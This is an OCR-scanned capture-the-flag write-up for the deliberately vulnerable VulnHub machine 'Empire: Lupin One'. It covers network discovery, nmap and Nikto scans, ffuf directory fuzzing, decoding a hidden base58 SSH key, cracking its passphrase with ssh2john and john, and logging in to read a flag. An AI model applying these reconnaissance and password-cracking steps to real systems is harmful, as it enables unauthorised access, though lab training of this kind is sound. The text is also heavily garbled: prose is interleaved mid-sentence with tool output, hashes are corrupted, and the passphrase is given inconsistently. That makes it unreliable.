EMPIRE - LUPIN ONE

This is a box from vulnhub that is rated easy by the author. The
box teaches you how to perform reconnaissance on the aspect
Author: Kharim Mchatta. of fuzzing and how to perform password cracking using john.

Date: 6/8/2023



Currently scanning: Finished! | Screen View: Unique Hosts The ﬁI’St step s to get the IP address Of our target
16 Captured ARP Req/Rep packets, from 9 hosts. Total size: 960

machine where we used a tool called netdiscover,
it i1s used to scan the network. To Scan the

192.168.192.35 08:00:27:6c:0e:a4 60 PCS Systemtechnik GmbH .
network, I used the following command

Netdiscover —r 192.168.192.10/24

The target ip i1s the ip address that has the host

name of pcs systemtechnik GmbH

Note: to scan for other devices on the network
you need to first of all get your ip address by
typing in if config then using your ip address you

scan the whole subnet
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# Nmap 7.93 scan initiated Tue Jun 6 06:20:25 2023 as: nmap -sV -sC -p- -oN nmap.txt 192.168.192.35 NGXt, | Scanned the target 1p 19216819235 using
Nmap scan report for 192.168.192.35

Host is up (0.00022s latency).

Not shown: 65533 closed tcp ports (reset) nmap to see what ports are open and services are
PORT  STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.4pl1 Debian 5 (protocol 2.0)

| ssh-hostkey: running on the target. From the results we can see
| 3072 edead9d3af199c8e4edf31dbf25d1279 (RSA)

| 256 bf9fa993c58721a36b6f9ee68761f519 (ECDSA)

|_ 256 aci8eccc35c051f56f4774c30195b40f (ED25519) that port 22 and 80 are open. We can’t do much with
80/tcp open http Apache httpd 2.4.48 ((Debian))

| http-robots.txt: 1 disallowed entry , . .

| _/~myfiles port 22 because we don’t have login credentials, port
| _http-title: Site doesn't have a title (text/html).

| _http-server-header: Apache/2.4.48 (Debian)

MAC Address: 08:00:27:6C:0F:A4 (Oracle VirtualBox virtual NIC) 80 would be our first target.

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . A A . .
# Nmap done at Tue Jun 6 06:20:50 2023 -- 1 IP address (1 host up) scanned in 25.49 seconds But before moving to explormg the Web apphcatlon I

~/Desktop/vulnhub/empire .
http-enum -p 80 192.168.192.35 -oN http-enum-nmap.txt had performed another nmap scan using the nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-06 06:28 EDT
Nmap scan report for 192.168.192.35 . . .
Host is up (0.00050s latency). script engine http-enum to enumerate the website for

PORT STATE SERVICE VERSION : 1

80/tcp open http Apache httpd 2.4.48 ((Debian)) pOtentla resources.
| http-enum:

| /robots.txt: Robots file

| /image/: Potentially interesting directory w/ listing on ‘'apache/2.4.48 (debian)'

|_ /manual/: Potentially interesting folder

| _http-server-header: Apache/2.4.48 (Debian)

MAC Address: 08:00:27:6C:0QE:A4 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.32 seconds
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© & reneaienis Navigating to http://192.168.162.35 a web application

s N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec Assetnote Wordlists ¥ To Hex, XOR - CyberChef

was loaded, and it had a single image of arsene lupin.
This was a static web application, so I decided to view
the web application source, and after reading the code I
sawa there was a comment left by the developer that
said its an easy box, don’t give up. Then after that I
decided to go and check the robots. txt file and see what

it entails, and after navigating to it, I saw that there was

a directory called /~myfiles.

C @ A view-source:http://192.168.192.35/

Kali Linux 8 KaliTools « KaliDocs N Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

ts an easy box, dont give up

C @ O A 192.168.192.35/i

Kali Linux #8 KaliTools ¢ KaliDocs N Kali Forums X Kali NetHunter

User-agent: *
Disallow: /~myfiles

gy



http://192.168.162.35/

< C @ O A& 192.168.192.35

Kali Linux #8 KaliTools = KaliDocs N KaliForums & Kali NetHunter

Error 404

C @ A view-source:http://192.168.192.35/~myfiles/

Kali Linux # KaliTools ¢ KaliDocs N Kali Forums X Kali NetHunter Exploit-DB

</DOCTYPE html>

itle>Error 404</titl

8 <hl>Error 404</hl>

After viewing the directory ~mytfiles, a page static page
was loaded which showed error 404, I then decided to
check the source page and I found another comment on

the page which stated you can do it, keep trying
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~/Desktop/vulnhub/empire
-1 192.168.192.35 -w /usr/share/wordlists/dirb/common.txt -o dirsearch.txt

Extensions: php, aspx, jsp, html, HTTP method: GET | Threads: 30 | Wordlist size: 4613
Output File: /usr/lib/python3/dist-packages/dirsearch/dirsearch.txt
Error Log: /root/.dirsearch/logs/errors-23-06-06_06-39-49.1log

Target: http:/

[06:39:49] Starting:

http://192.168.192.35/image/

-> http://192.168.192.35/javascript/
http://192.168.192.35/manual/

~/Desktop/vulnhub/empire
192.168.192.35
Nikto v2.5.0

Target IP: 192.168.192.35

Target Hostname: 192.168.192.35

Target Port: 80

Start Time: 2023-06-06 06:34:48 (GMT-4)

Server: Apache/2.4.48 (Debian)
/: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-
/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different
-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: contains 1 entry which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ Apache/2.4.48 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Server may leak inodes via ETags, header found with file /, inode: 14d, size: 5cd8c2e02d089, mtime: gzip. See: http://cve.mitr
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /manual/: Web server manual found.
+ /manual/images/: Directory indexing found.
r /image/: Directory indexing found.
+ 8075 requests: @ error(s) and 9 1item(s) reported on remote host

Next, I decided to perform content discovery on the
web application, I used the common wordlist file to
discover resource and there was nothing useful, I
decided to try and use Nikto but Nikto reported the

same resources that was reported by dirsearch.
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~/Desktop/vulnhub/empire Then I decided to go and fuzz the url and used the
-c -w /root/Desktop/wordlists/common.txt -u http://192.168.192.35/~FUZZ/ -o ffuf.txt

N T /' \ same wordlist of common and found a file called
AN AN/
U, . 7 T T Ve O
NAINEZNN AL ENNNNA N secret
\ SRS S BN
\ NA NEE NL

2\
ik

v2.0.0-dev

:: Method -

:: URL : http://192.168.192.35/~FUzz/

:: Wordlist : FUZZ: /root/Desktop/wordlists/common.txt

:: Output file : ffuf.txt

:: File format : json

:: Follow redirects : false

:: Calibration : false

:: Timeout : 10

:: Threads : 40

:: Matcher : Response status: 200,204,301,302,307,401,403,405,500

atus: 200, Size:
* FUZZ: secret

:: Progress: [4715/4715] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
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192.168.192.35/~secret/ o+

= C @ O A& 192.168.192.35

Kali Linux #8 KaliTools ¢ KaliDocs ¥ KaliForums X Kali NetHunter Exploit-DB Google Hacking DB OffSec Assetnote Wordlists

Hello Friend, Im happy that you found my secret diretory, I created like this to share with you my create ssh private key file,
Its hided somewhere here, so that hackers dont find it and crack my passphrase with fasttrack.

I'm smart I know that.

Any problem let me know

Your best friend icex64

~/Desktop/vulnhub/empire
u /root/Desktop/wordlists/directory-list-2.3-medium. txt ‘http://192.168.192.35/~secret/.FUZZ' -fc 403 -e .txt,.html ffuf2.txt

i TP
(A AVAG A rt e | VAU
b et N S VAU VAN RN ol

NONONLZONONONCANONONENON NN DN/

NI NG RN N O
VAR Y Y Y

v2.0.0-dev

:: Method s

i1 URL : http://192.168.192.35/~secret/.FUzZZ

:: Wordlist : FUZZ: /root/Desktop/wordlists/directory-list-2.3-medium.txt
:: Extensions ¢ .txt .html

:: Output file : ffuf2.txt

:: File format : json

:: Follow redirects : false

:: Calibration : false

11 Timeout 110

:: Threads 1 40

:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
11 Filter : Response status: 403

>tatus: 200, Size 408%Y, woras:
* FUZZ: mysecret.txt

:: Progress: [661641/661641] :: Job [1/1] :: 4347 req/sec :: Duration: [0:01:55] :: Errors: 0 :

Checking the file ~secret there was a message that was
left by the user icex64 and gave us some hints along

the message.

Hello Friend, Im happy that you found my secret
directory, I created like this to share with you my
create ssh private key file, Its hided somewhere here, so
that hackers dont find it and crack my passphrase with
fasttrack. I'm smart I know that. Any problem let me

know. Your best friend 1cex64

All the places highlighted black are the hints. Now
next its to fuzz again. And we found a new directory

called mysecret.txt

gy




After getting the hidden directory next is to go and
< C @ O A& 192168.192.35

Kali Linux # KaliTools « KaliDocs N Kali Forums X Kali NetHunter Exploit-DB see what it entaﬂs’ after loadlng the page dlreCtorY I

cGXD6KNZQddY61CsSuqPzUdqSx4F50hDYnATUkwSdmyTURGCaTINCHC3NLKBGFM2ywrNDRTW3eTpUVE Z9gFuBT found a hash, the next thing is to identify the type of
LmQBSNT936L6VwYdEPKULeY6wuyYmFFQYZEVXhDtK6pokmA3J02Q83cVok6x74MSDA1Td jKVESVGLVRMKkDpsh:
SNwEpsCgeCWYSYh3XeF3dUgBBpf6xMJnS7wmZa9oWZVd8Rxs1zrXawVKSLxardUETRLhéusnUmMMANSMTyuvMTr }1 }1 -t : I t t 1 (1 f‘ (1 1-
RA4V1paSyaj 2UQ6XRpF60t ThTer jWALNG7preSHHAVY3MBYICU6358KWeVC 1Y ZAXVBRWOZPXtquUYOEFL613K) asii 1t 18, sO 1 went to google and round an onine

3EUFnuDtfB4ADRt57UokLMDi1V73Pt5PQe8g8SLjuvtNYpo8AqyC3zTMSmP8dFQgoborCXEMJz6npX6QhgXgpbt

h74jFWKzfSLgEVyc7RyAS7Qkwkud9ozyBxxsV4AVEdf8mWSg3nTDYKE69P34SkpQgDVNK JvDF JvZbL806B TP EP: Cipher identifier page, pasted the has and the result
zalBZ2wDLeJUKEjaJAHNFLxs1xWXU7V4gigRAtiMFB5bjFTc7owzKHcqP8nJrXou8VJgFQDMD3PJcLjdETZGUS]

8H98WbtCshaEBaY7b5CntvgFFEucFanfbzéw8cDyXJnkzeW1fz19Ni9i6h4Bgo6BR8FkdSdheH5TGz47VFHEhm) . .
uK9QkswCzgPt j s FFBBUOGVFNGCNDbzQn4NMQmxm28hDMDUSGydwUm190jNo1scUMzGFNATLX7bs359wYaVLDLil stated that it was a base 58 Clpher-
uAhLyCwTGn1LlwLoJDQ1kjLmnVIk7FkUUESqJKjpScuX1EUpFjsfUlHaibABz3fcYY2cZ78qx2iaqS7ePoSBkwys

ZpuEPpHH25a0JfNMtY45mJYjHMVSVnvG9e3PHIGwrks1eLQRX ] jRMGEWU9CcwWT2bjy2hulWYS5b7xUSAXZ fmRsbkT:
Fb1lsJL1ic9QVTvDHCJnD1AKdC]jtNHXrG973BVZNUF6DWbFq5d4CTLNGj xtCFs3XmoKquzEY7MiCzRaq3kBNAFYN(
K8jivhnQaiajwW3pwt4cZxwMfcrrlkel4vN8Xbyqdr9zLFjZDJ7nLdmuXTwxPwD8Seoq2hYERRI7DnKTMY2LhoW(

B8 htt dcode.fr/

ocs N Kali Forums @ Kali NetHunter Exploit-DB Google Hacking DB OffSec Assetnote Wordlists ¥ To Hex, XOR - CyberChef

2)

?".;,_‘. T NI 9Ff v_—\ 3 <

CIPHER IDENTIFIER

Cryptography > Cipher Identifier

Search for a tool
SEARCH A TOOL ON DCODE BY KEYWORDS:

e.g. type 'boolean a4

BROWSE THE FULL DCODE TOOLS' LIST

Results o 8la|s|x|x ENCRYPTED MESSAGE IDENTIFIER ]
: ; CIPHERTEXT TO RECOGNIZE ()
dCode's analyzer suggests to investigate: CRONQUIUY DI DO VITE 7 JOY I 0 VO Y UL T N P IR AT E RSO

cKhGgMYMHNVbtpLxQUaPZHsiNGUCEd64KWSkZ7svohTC514L4TUEZRZEY Wy

e it 6V2GGiEpAMF20EHMUWGtoNXbsGpBsb b ZATFLXVbP3PgBwBIgAakz7QBFAG

Base 58 EEEEEEEE. 1yQ3tnxytWNuHWkPohMMKUiDFeRyL i8HGUdocwZFzdkbffvo8HaewPYFNsP
Base62 Encoding - DCn1PwgS8wA9agCX5kZbKWBmU2zpCstqFAxXeQd8LiwZzPdsbF2YZEKzNYt
RS ckWSRIFa5zDgKm2gSRN8gHz3Wgs

Base64 Coding L]

CLUES/KEYWORDS (IF ANY)
E—
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Q8 I browserling.com/t

Then I decode the cipher on an online decoder tool and

locs M Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec Assetnote Wordlists ¥ To Hex, XOR - CyberChef [l Decrypta Message - C...

World's simplest online base-58 decoder for web developers and .
programmers. Just paste your data in the form below, press the Base-58 got the SSh pI'lVélte key NeXt was tO Save then ﬁle, then get
Decode button, and you'll get a base-58 decoded string. Press a button -
get a string. No ads, nonsense, or garbage.

o the hash of the file that you stored the ssh private key

Announcement: We just launched Online Math Tools - a
collection of utilities for solving math problems. Check it out!

using a tool called ssh2john.

b3BlbnNzaC1rZXktdjEAAAAACMF1czI1Ni1jYmMAAAAGYMNyeXBOAAAAGAAAA
BDy33c2Fp
PBYANne40z3usGAAAAEAAAAAEAAATXAAAAB3NZaC1yc2EAAAADAQABAAACAQD
BzHjzJcvk . .
9GXiytplgT9z/mP91NqOU9QoAwopS JNXhETm/ j5KQmd] O h h h d I d h k h
e e nce the nashes were retrieved, 1 use jonn to crack the
HB6NSb@jMbMc4soFrBinoL Ekx894B/PqUTODesMEV
/aK22UKegdwl JOAT f+1Y48V86gkzS6
xZoKn/ExVkApsdimIRvGhsv4ZMmMZEKTI0TEGZ7TaD7QHDEXiusWl@hkh33rQ

G e e e s e A ssh passphrase using the wordlist of fasttrack.txt as hinted

| Base-58 Decode | | Copy to clipboard

by the user icex64. I managed to obtain the passphrase

~/Desktop/vulnhub/empire
te ssh2john which was P@55w0rd!.
/usr/bin/ssh2john
/usr/share/john/ssh2john.py
/usr/share/john/__pycache__/ssh2john.cpython-311.pyc

~/Desktop/vu1nhub/emp1re

n.py privatekeyssh.txt > hash

~/Desktop/vulnhub/empire
--wordlist=/usr/share/wordlists/fasttrack. hashes
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]))
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes

Cost 2 (iteration count) is 16 for all loaded hashes
Pa)55word! (privatekeyssh.txt)

Author: Kharim Mchatta
D



Next, I changed the permission of the ssh key which we

~/Desktop/vulnhub/empire/new
d 700 key

saved (chmod 700 name_of_sshkey) and then I logged

~/Desktop/vulnhub/empire/new
1cex64)192.168.192.35 -1 key in the secure shell (ssh).(ssh username@ip —i key).

Enter passphrase for key 'key':
Linux LupinOne 5.10.0-8-amd64 #1 SMP Debian 5.10.46-5 (2021-09-23) x86_64

e ot Once successfully authenticated I obtained the user flag.
Welcome to Empire: Lupin One

b:2:2:2:2:8:8:3:8:0:5:2:2:2:2:2:8:2: 308080 2:2:2:2:2: 2121313131 2:2:2:2:2:2:2: 21314

Last login: Thu Oct 7 05:41:43 2021 from 192.168.26.4

icex64aLupinOne:~$ 1s
user.txt
icex64alupinOne:~$ cat user.txt
poee veye vy *G000000ANNNSE/ - TIE
Fiey FE0)0)677%767% %7676 %66 206 2006 20,40 6 2070 6 26 46 10 00T 0) y
voy (O)BHER%%%%%%%% %% H X% %%%%%%%%5% , «
+ 0)GT707676.7%767% %7676 70076 10 0.6 70 /0.0 10 0.6 10 406 10 0.0 10 0.6 10 0.6 10 076 10 0.6 10 0,460
o o HOYRHTHH7%7677%76% %76 7 77676 706 6 70706 70,70 6 20 70 6 70 0.6 70 0 6 10 70 6 20 /0.6 10 0.6 10 /0.6 100)
oy y o TRARIIHH%7070707010.070.010.0.0.7010./0 0.0 1001010 10,10 0.0 0. 10,0100 10,6 10,0 10,40 0 /0 SOON O) » 5
o o o Q)T 7677% 767 707076 7006 700,76 70.0.6 70 40,6 70 0.6 70 0.6 70 0.6 70 0.6 70 0.6 10 40 o 10 0 Jo T O 1 HH ) o
Q7677767 %767 %7676 1.0 6 10406 10,06 10 40 6 10 0.6 10 406 10 40 o 1o 0 o o o s o)) et B H BB BGOSR o , o
ooy 3 OJO)RHFIHTH76776% 6676 10 16 0 10 0 10 6 10 6 10 0 10 o 20 o od)oo)oJoJOJOJ) e #  # # H o) ,
« v 11 00000ANNEKBEEL®%%%%%%6G0)000000000acaN kb H H i H Hok) ,
. .OaananadaaaaannaaAAAMNNNaANAANNNNNNNN% % %% H HHTE) . . .
.., .0o0ddcaaododddddadaaaodddddaaaaaaaaaaaaaass ke 5a) .
#aaaaooonadadaaaaaanaaaaaaaaaaaaaaeialalaalala) %% % %6 60) cees ceee .
« y + yO0000AAAANNNNNAAAAANNNNAAANNNNE %% %% 66X H, . , « cye + - 0)0))a)
-QaaanaaaaaaaaannaaaaaNNNNaAMNNNGGE % %% %6 % H 1)) ceye )+ *0)650)) -
» -O0nnddaaaaannaaaAANNNaAAaGIGE% %% %% %66 6a)a) rpe .0686a( ,,
o1+ -O000000NNNGGAANNNNNNNAAAANNNNNCCE %% %666 6AAE RGN 4 9 » DGO+ 5
. . « - #0)0)00000000000NAAAAMNNNNNNAANNNNNNE & %% %%6% , Q%% %7766+ « «
tey . « + , 0000AAANNNNNNVNAANNNNANNNNAAANNNNNNNEEEED) , * , , AWe%%%7%%0)ANANEA%%0) - «
1y dadadacacannnaRRRNRNNNNNN/ , *** , * , Ak¥*ADCANRRHHFHT) , , .
., 0085600), ,/000000000NNNNNNNDNNNNN , 5 5 1 5 1 9 1 9%y » WERHO)EEAVRBHBHH HE*
“ryo OREAASAGAAS, ¥, *, ¥, %, Fhk k% ok Kk k k k Kk, Sk, GR%ERAREAXX%EX%%A/ - )
/NEEEEEEEEEENN* 1 5 1 v 111111001001 000 001 %0 0 o ¥, ROERBHRAEEEN%%%%%%%2%%0) yeo
060605NSASANEAEEAANRA , *, *, , **, *, *, , , *HEADNEXRXRX%X%%%%%E NN %% HHXRD « « o
00066666666665665656560)0)0)6550)0)0)0)650)0)650)666%6% %% %% %6066 50)6%%%%%%50) , « « oo
06650)60)60)60)50)60)60)60)60)60)60)50)650)0)0)6 656656%6% %% %606 Ea)0)% %6 H#50)% . . ,
0000)66656656656656656656650)656656565566%%6%)G0)50)G0))% - «
v 11y *00)6550)60)6060)606066666666666666666%660)0)660). . . « oo
1y ., %00n0aaoaaaaaaaa%, - .. ,a065a(, , e
rey T re ey X085 444, rere
Setets Setets . )+ 000G, . . Setets

3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}
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Summary

1. Perform nmap 11. Decode cipher

2. Open the web application 12. Get ssh private key

3. View source page to find comment 13. Get ssh hash

4. Check robots.txt 14. Crack hash
5. Open the file 15. Change permission 700
6. View page source and find comments 16. Login ssh using private key

7. Fuzz and find a new file 17. Get the user flag

8. Openfile and get hint

9. Fuzz again to find another directory

10. Retrieve the cipher
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